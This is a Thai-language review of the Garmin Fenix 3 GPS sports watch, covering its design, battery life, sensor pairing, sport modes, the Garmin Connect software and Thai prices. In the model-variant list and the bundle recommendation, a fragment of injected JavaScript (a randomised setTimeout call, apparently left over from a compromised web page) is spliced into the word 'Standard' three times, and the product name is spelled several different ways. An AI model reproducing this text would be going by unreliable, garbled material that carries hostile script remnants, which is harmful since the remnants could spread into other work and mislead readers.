เปิดตัวให้เป็นเจ้าของกันได้พักใหญ่สำหรับนาฬิกา Garmin Finex 3 Multi-sport GPS Watch ผู้สร้างปรากฏการณ์มาตรฐานใหม่สำหรับวงการ Multi-sport GPS watch
Garmin Finex 3 รอบนี้บุกตลาดไม่ใช่แค่การอัพเดตหรือแก้ไขปัญาหาที่พบในเจ้า Finex 2 นั้น แต่เรียกว่ายกเครื่องใส่เพาเวอร์โทเบอร์บูตเตอร์มาให้ใหม่เลย เจ้าตัว Finex 3 ได้มีการใส่ฟังค์ชั่นอย่าง Outdoor และ Indoor Activities หลายประเภท อย่าง เดินเขา วิ่งเทรล ว่ายน้ำ ปั่นจักรยาน หรือฟิตเนสในโรงยิม และแน่นอนที่ขาดไม่ได้คือฟังค์ชั่น Triathlon (ไตรกีฬา) ฟังค์ชั่นอย่าง Activity tracker วัดจำนวนก้าวเดิน แคลอรี่ก็มี แถมยังทำตัวเสมือน smart watch ที่สามารถโชว์ Notification จากมือถือของคุณได้ด้วย ในราคาหมื่นห้าถึงสองหมื่นต้นๆ หากซื้อยกชุดทั้ง HR Monitor หรือ Speed Cadence Sensor ด้วย
ทำไมรอบนี้เจ้า Garmin Fenix 3 ถึงได้บรรเจิดเถิดเทิงเข้าตากรรมการนัก…..เรามาเริ่มที่ดีไซน์กันก่อนเลย
ดีไซน์หน้าปัดทำออกมาเป็นทรงกลม ดีไซน์ให้ดูแบบสปอร์ตคลาสิก เพิ่มความดุดดันด้วยการโชว์ให้เห้นตัวน็อต ขณะเดียวกันให้น้ำหนักเบาแค่ 82-85 กรัม หน้าจอภาพสี 1.2 นิ้ว Full colour หรือจะปรับเป็นแบบ ขาวดำ Negative ก็ได้ หน้าปัดยังออกแบบให้สามารถอ่านขณะอยู่กลางแจ้งได้ด้วย
Finix 3 ทำออกมา 3 แบบ
- Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard Siver สายรัดเป็นแบบซิลิโคนสีแดง
- Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard Grey สายรัดเป็นซิลิโคนสีดำ
- Sapphire หน้าปัดเลนส์ป้องกันรอยขีดข่วน sapphire พร้อมสายโลหะ
หมายเหตุ สายทั้งสามรุ่นสามารถถอดเปลี่ยนได้ คาดว่าในอนาคตอาจจะทำสายหลากสีออกมาเป็นแน่แท้
ตัวเรือนแข็งแรงทดทาน จุดขันหรือการเชื่อมต่อหนักแน่น เก็บงานได้เรียบร้อยมาก กันน้ำได้ 100 เมตรกันเลย แต่ไม่เหมาะกับการนำไปดำน้ำนะครับ ออกแบบมาคนละอย่างกัน ขนาดนาฬิกาบางลงอย่างเห็นได้ชัดเมื่อเทียบกับรุ่น Fenix 2
ต่างจาก Vivoactive, Vivofit2 และ Epix เจ้า Fenix3 ไม่ได้เป็นระบบ touch screen การสั่งการต้องใช้ปุ่มอย่างเดียวครับ โดยปุ่มกดคำสั่งมีการทำเครื่องหมายไว้ให้ ผู้ใช้หน้าใหม่สามารถกดเริ่มต้นใช้เองได้มั้ยยาก
Fenix 3 สามารถใส่ได้ทุกงานเหมาะมากสำหรับหนุ่มๆ มาดแมนผู้รักการออกกำลังกาย ไม่ว่าจะใส่ไปทำงานก็ดูดีหรือจะใส่ออกกำลังกายก็ดูเท่
ในเรื่องของการใช้งานอย่างแรกขอดูตรงแบตเตอรี่ เพราะต้องใส่ทั้งวัน เป็นทั้งนาฬิกา เป็นทั้ง Activity tracker และ Smart watch ย่อมๆ ถ้าเราใช้เป็นเฉพาะนาฬิกาอย่างเดียว ตามที่บริษัทเคลม มันสามารถอยู่ได้ถึง 3 เดือนเลย แต่ที่ใช้อยู่เราเปิดทั้ง Activity tracker และ Notification ก็จะอยู่ได้ราวๆ 2-3 วันครับ ราวๆ 50 ชั่วโมง แต่ถ้าเปิดใช้งาน GPS ยาวๆ ก็ประมาณ 16 ชั่วโมง วิ่งระดับมาราธอนได้สบายมาก หรือจะเปิด GPS ในโหมด UltraTrack วิ่งเทรลระดับ 100K ก็จะยืดอายุแบตได้ถึง 50 ชั่วโมงเลย ส่วนการชาร์จใช้เวลาไม่ถึงชั่วโมงก็เติมแล้ว ราวๆ 20-30 นาที ทั้งนี้ขึ้นอยู่กับความหนักหน่วงของผู้ใช้
สรุปให้ว่าแบตเตอรี่ของ Fenix 3 นั้นอึดจริงๆ ครับ
การเชื่อมต่ออุปกรณ์มีสองระบบให้เลือก คือ Bluetooth 4.0 และ Ant+ ซึ่งจริงๆ แล้วในการใช้ Fenix 3 กับอุปรณ์ HR หรือ speed cadense sensor และ Foot sensor ของยี่ห้ออื่นๆ ที่ใช้การเชื่อมต่อ BLE4.0 ทำได้ยสกมากแทบจะไม่มีการเชื่อมต่อกันเลย เท่าที่เห็นก็มีแต่ HR sensor ของ MIO ที่เชื่อมกันได้
ดังนั้นเมื่อคุณตัดสินใจซื้อ Fenix 3 ก็จงเตรียมตัวเข้าสู่โลกอารยธรรม Garmin ได้เลย อุปกรณ์เชื่อมต่อทุกอย่างทำงานได้ดีเมื่อเป็นของยี่ห้อเดียวกัน ส่วนการเชื่อมต่อกับแอพนั้นถ้าให้เสถียรที่สุดแนะนำให้ใช้ iOS ของ Apple ครับ รุ่นที่มี BLE 4.0 จะเริ่มที่รุ่น 4S เป็นต้นไป ส่วนสำหรับค่าย Android แนะนำว่าต้องดูรุ่นใหม่ๆ เวอร์ชั่นสูงๆ อย่าง Jelly Bean 4.3 ขึ้นไป
ระบบ GPS ของ Garmin Fennix 3 ทำงานได้รวดเร็วมาก หลายๆ เสียงบอกว่าดีกว่า Fenix 2 ม๊ากมาก เปิดปุ๊ปติดปั้บเลย แถมให้ความรู้สึกที่แม่นย่ำมากขึ้นด้วย ทั้งนี้อาจเป็นเพราะการออกแบบเสารับสัญญาใหม่แบบ EXO ที่ให้เป็นรูปวงแหวน
ฟังค์ชั่น ABC (Altimeter, Barometer, Compass) ออกแบบมาให้ใช้งานได้ง่ายขึ้นแค่คุณกด ปุ่ม UP หรือ Down ก็สามารถเห็นได้เลย ในช่วงระหว่างที่กดเลื่อนขึ้นลง เราสามารถเข้าถึงเมนู Tracker, Weather, Temp, Music controls, Calender และ Notifications ได้เลย แต่อย่าลืมเด Bluetooth ซิงค์กับมือถือก่อนนะครับ
ระบบการใช้งาน Garmin ทำออกมาได้ดีมาก มี 2 ประเภทกีฬาหลักๆ ให้เลือกคือ outdoor activities อย่าง วิ่ง ปั่นจักรยาน openwater swimming (ว่ายน้ำบนพื้นที่เปิด อย่างทะเลหรือคลองบึง) และที่ขาดไม่ได้คือไตรกีฬา ส่วนฟังค์ชั่น Indoor activities อย่าง วิ่งลู่ treadmill ก็มีให้ หรือฟังค์ชั่น crossfitness อื่นๆ ที่เราต้องการใส่เพิ่มถ้าไม่มีในนาฬิกาเราก็สามารถดาว์โหลดผ่าน Garmin connect ใส่นาฬิกาก็ได้
ฟังค์ชั่นพื้นนฐานที่ได้ทำการทดสอบหลักๆ มี 3 อย่าง คือ วิ่ง ว่ายและปั่นจักรยาน
เมื่อเปิดฟังค์ชั่นวิ่งขึ้นมา สิ่งแรกเจ้าเครื่อง Fenix3 จะทำคือค้นหาอุปกรณ์เสริม HRM หรือ Speed Cadence sensor และ GPS อัตโนมัติ หากเปรียบเทียบกันระหว่าง BLE กับ ANT+ เจ้าระบบ Ant+ จะเชื่อมต่อได้เร็วกว่า
หลังจากค้นหาสัญญาเสร็จเรียบร้อบแล้ว Interface เสดงค่าต่างๆ อย่าง Speed, Pace, workout time และ distance ก็มีให้ครบ เราสามารถปรับแต่งได้ว่าจะเอาค่าอะไรขึ้นก่อนหลังได้เช่นกัน หรือจะโชว์ที่เดียว 3-4 ค่าก็ทำได้แล้วแต่การปรับแต่งหน้า interface ของนาฬิกา ฟังค์ชั่นวิ่ง treadmill หรือ indoor run ก็ทำงานได้ไม่มีปัญหา
เมื่อวิ่งจบแล้วกดเซฟเพื่อบันทึกสถิติ เจ้า Fenix 3 จะแสดงสถิติทั้งหมดที่ทำไปอีกครั้ง แถมให้เหรียญรางวัลถ้าสามารถทำลายสถิติเก่าลงได้ หรือ set the new record ถือว่าเป็นการกระตุ้นและสร้างแรงบันดาลใจได้ดีทีเดียว
การเซต Heart rate zone สามารถเซตได้เองเช่นกัน แต่ส่วนมากเจ้านาฬิกาจะเซตให้อัตโนมัติอยู่แล้ว ถ้าอย่างแก้ก็ไปที่ My Stats > User profile> Heart rate zones
มาต่อกันที่การตั้ง Interval สามารถไปแก้ไขที่ Training>Intervals แนะนำให้เซตค่าที่ Edit ก่อน จะวิ่งกี่กิโล พักกี่นาทีและซ้ำกี่ครั้ง จะ เพิ่ม warm up หรือ cool down ไปก็ไดด้ครับ
อีกข้อดีของเจ้า Fenix 3 คือหน้าจอสามารถมองเห็นได้ดีแม้มีแสงจ้า แบตเตอรี่อึดมาก สามารถนำไปวิ่งมาราธอนได้สบาย
เพิ่มอีกนิด…ฟังค์ชั่นอย่าง VO2 Max, Ground contract time และ recovery time ก็มีให้นะครับ
ในส่วนขอการว่ายน้ำทั้ง Indoor และ Outdoor ระบบ GPS ทำได้ดีไม่แตกต่างจากตัวที่ใช้เปรียบเทียบ (Suunto Ambit 3 sport) สามารถบอกจำนวน stroke ได้แถมยังบอกว่าว่ายท่าอะไรได้ด้วย แต่ต้องเอาไปเปิดในเวปนะครับ สำหรับใครที่ว่ายในสระจะต้องระบุขนาดสระก่อนว่าขนาด 25 หรือ 50 เมตร แต่ถ้าออกทะเลคลองบึงกดปุ่มรอแค่ 3-4 วินาทีก็ลงน้ำได้เลย เจ้า Fenix3 ยังสามารถบอกเวลา Rest time ได้ด้วยในกรณีที่หยุดพัก สำหรับฟังค์ชั่นพื้นฐานว่ายน้ำอย่าง จำนวน stroke, SWOLF, distance, time และ time rest จัดมาให้ครอบจริงๆ ครับ
ในการปั่นถ้าจะให้ได้อรรถรสสูงสุดอย่างน้อยต้องมีตัว HRM และ SCS (speed cadence sensor) แต่ถ้ามีงบหน่อยก็ติด Power Meter ไปเลยครับ ฟังค์ชั่นทำงานเหมือนเจ้า Garmin Edge มากหรือแทบไม่ต่างกันเลย ความเร็ว pace distance cadence บอกได้หมด ก่อนเริ่มใช้ทุกฟังค์ชั่นแนะนำให้ไปที่เมนู Sensor ก่อนเพื่อ pair อุปกรณ์ไว้ก่อนเวลากดใช้จะได้ไม่เสียเวลา สามารถกดเลือก search all ที่เดียวได้เลย มีอะไรหาเจอหมด
การเพิ่มฟังค์ชั่น Hike และ Climb ถึอว่าเป็น Highlight ของเจ้า Fenix 3 ก็ว่าได้ โดยกติ นาฬิกาฟังค์ชั่น Multisport จะแยกกับนาฬิกาที่มีฟังค์ชั่นเดินป่าเดินเขา เนื่องด้วยรูปแบบการใช้งานที่ต่างกัน เพราะการเดินขึ้นเขาไต่เขาต้องระวังเรื่องความดัน ความกดอากาศ ทิศทางและความสูงชันจากระดับทะเล
เพื่อเสริมศักยภาพการเดินป่าไต่เขา Fenix 3 เพิ่มฟังค์ชั่น Navigation ที่เราสามารถกำหนดเส้นทางเดิน ตั้งแต่หน้าคอมที่บ้าน เซต Route ป้องกันการเดินหลง หรือจะเอาไปใช้กับการฝึกวิ่งฝึกปั่นก็ยังได้
Fenix 3 นอกจากเป็น multisport GPS watch ยังเป็น Activity tracker ด้วย ฟังค์ชั่นจะทำงานได้อัตโนมัติแค่กดปุ่ม Up & down เท่านั้น แล้วหากต้องการวัดคุณภาพการนอนก็ยังสามารถทำได้ด้วย เรียกว่าเป็นนาฬิกาแบบ Versatile มากทีเดียว
Fenix 3 จะเซต Goal ก้าวเดินใหห้เราอัตโนมัติโดยวัดจากการเคลื่อนไหวของเราจากวันก่อนๆ มีแถบสีฟ้าแสดงความก้าวหน้าว่าใกล้เป้าหมายหรือยัง และจำนวนแคลอรี่กับระยะทางที่เดินไป ถ้ากดปุ่ม Start/stop ขณะอยูที่หน้า activity tracker จะเข้าสู่โหมดวัดคุณภาพการนอน แต่คิดว่าคงไม่มีใครใส่นาฬิกาเรือนโตอย่างนี้เข้านอนนะครับ ยกเว้นพวกเดินป่าและ adventure sport อื่นๆ
มาดูกันต่อในส่วนขอ software การแสดงค่าอย่างละเอียดจำเป้นต้องพึ่งสายชาร์จ USB ของ Fenix 3 อยู่แล้ว ที่ครั้งที่เสียบชาร์จเข้ากับ PC ข้อมูลจะถูกอัพโหลดเข้า account ของเราอัตโนมัติ ผ่านโปรแกรม Garmin connect สำหรับใครที่ใช้ Garmin Edge ซี่รีย์ต่างคงคุ้นเคยเป็นอย่างดี
เราจะสามารถดูค่าต่างๆ หลังจบการออกกำลังได้ผ่าน App บนมือถือก็ได้แต่จะไม่ละเอียดเท่าบนเวบ ทั้งนี้เรายังสามารถโยกย้ายข้อมูลในรูปไฟล์สกุล .GPX หรือ .CTX ยัง App อื่นๆ อย่าง Strava, Endomondo หรือ Runtastic ก็ได้ครับ
ในการปรับแต่งหน้าตา Interface หรือ theme และ customize อื่นๆ สามารถทำได้ผ่าน Conncet IQ เราจะโหลด app หรือ widget เพิ่มและปรับแต่งอย่างไรก็ได้จนกว่าจะเหมาะกับ lifestyle ของเรา
*ข้อควรรู้ Connect IQ เป็น open platform ที่เปิดให้นักพัฒนาเขียนโปรแกรมหรือ app เจ๋งๆ ลงมาได้ฟรีๆ ทำให้เรามีตัวเลือกในการใช้แอพลิเคชั่นได้มากขึ้น
หลังจากพูดเกี่ยวกับการใช้งานแล้วมาคุยเรื่องราคากันดีกว่า ซึ่ง Fenix3 เปิดตัวที่ราคา 15,490 บาท สำหรับตัวเรือนนาฬิกาอย่างดียว สำหรับใครที่ใช้ Garmin รุ่นเก่าๆ อยู่แล้วอย่าเพิ่งทิ้งตัว HRM นะครับเพราะสามารถนำมาใช้ได้ แต่ถ้าไม่มี HRM เลย แนะนำให้ซื้อรุ่น Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard with performance bundle ครับ ตัวกล่องจะใหญ่ขึ้นมานิด แต่จะมี HRM มาให้ด้วย แต่ราคาจะอยู่ที่ 17,490 บาท
นอกจากนี้ยังมีรุ่น Sapphire ที่ตัวกระจกจะเปลี่ยนเป็นกระจกแซฟไฟร์ที่มีความคงทนมากเป็นพิเศษ และสายจะเป็นแบบสายโลหะดูหรูขึ้นอีกเป็นกอง แต่ราคาก็สูงขึ้นไปถึง 20,700 บาทกันเลยทีเดียว
หากซื้อเจ้าตัววัดรอบขาด้วยแล้วละก็ราคาเบ็ดเสร็จไม่น่าเกินสองหมื่นหรือสองหมื่นต้นๆ
ความคุ้มค่า?
ตอบได้ไม่ยากเลยครับ ซื้อเลยครับ ไม่ต้องรอรุ่น 4 หรือรุ่น 5 แล้ว ตัว software ทำได้ดีเกินคาด สามารถอัพเดตได้เรื่อยๆ จะ customize อย่างไรก็ได้ตามใจชอบ เป็นนาฬิกาที่รวมเอา
- GPS-Navigation watch
- Activity tracker
- Indoor-outdoor sport activities
- Smart watch
- Mobile App compatible
มาไว้ในเรือนเดียว ดีไซน์สวยงาม บางและเบากว่ารุ่น 2 มาก ถ้าจะรอซื้อรุ่นใหม่ก็แค่มันทำดีไซน์สวยกว่าเดิมครับ ผู้รีวิวคาดว่าเจ้า Fenix 3 สามารถใช้ได้ถึง 2-3 ปีเลย ระบบ software ทำได้ลงตัวเรียบร้อย ที่เหลือก็แค่ hardware จะพัฒนาต่ออย่างไรอีก
ถ้าจะให้หาข้อเสียก็มีแค่ตัววัด Heart rate ที่ยังเป็นแบบคาดหน้าอกซึ่งใครหลายๆ คนอาจไม่ชอบนัก แต่ผู้รีวิวขออนุญาตบอกว่า HRM แบบรัดหน้าอกทำงานได้เสถียรกว่าครับ เพราะมันทำงานในพื้นที่ปิด คืออยู่ที่หน้าอกเรา มีการเคลื่อนไหวน้อยกว่า HRM ที่ข้อมือเรา วัดคลื่นไฟฟ้าหัวใจอย่างเดียวไม่ต้องใช้แบบยิงแสงหรอ optical ทำให้ไม่ต้องกังวลกับตัวแปรต่างๆ อย่าง ความเข้มของสีผิวหนัง น้ำและเหงื่อที่มาบดบังแสงสัญญาณ หรือการเคลื่อนไปมาของนาฬิกาบนข้อมือ
เจ้า Fenix 3 ยังมีลูกเล่นอื่นๆ อีกเยอะมากผู้รีวิวคงไม่อาจกล่าวได้เหมด ทั้งนี้ก็ขึ้นอยู่กับตัวผู้ใช้ด้วย แต่ถ้าสำหรับผู้รีวิวแล้ว จะวิ่ง ว่าย ปั่นจักรยานหรือจะไตรกีฬา เจ้านาฬิกา Fenix3 ถือว่าเป็นตัว GPS watch ตัว TOP Number 1 เลยครับ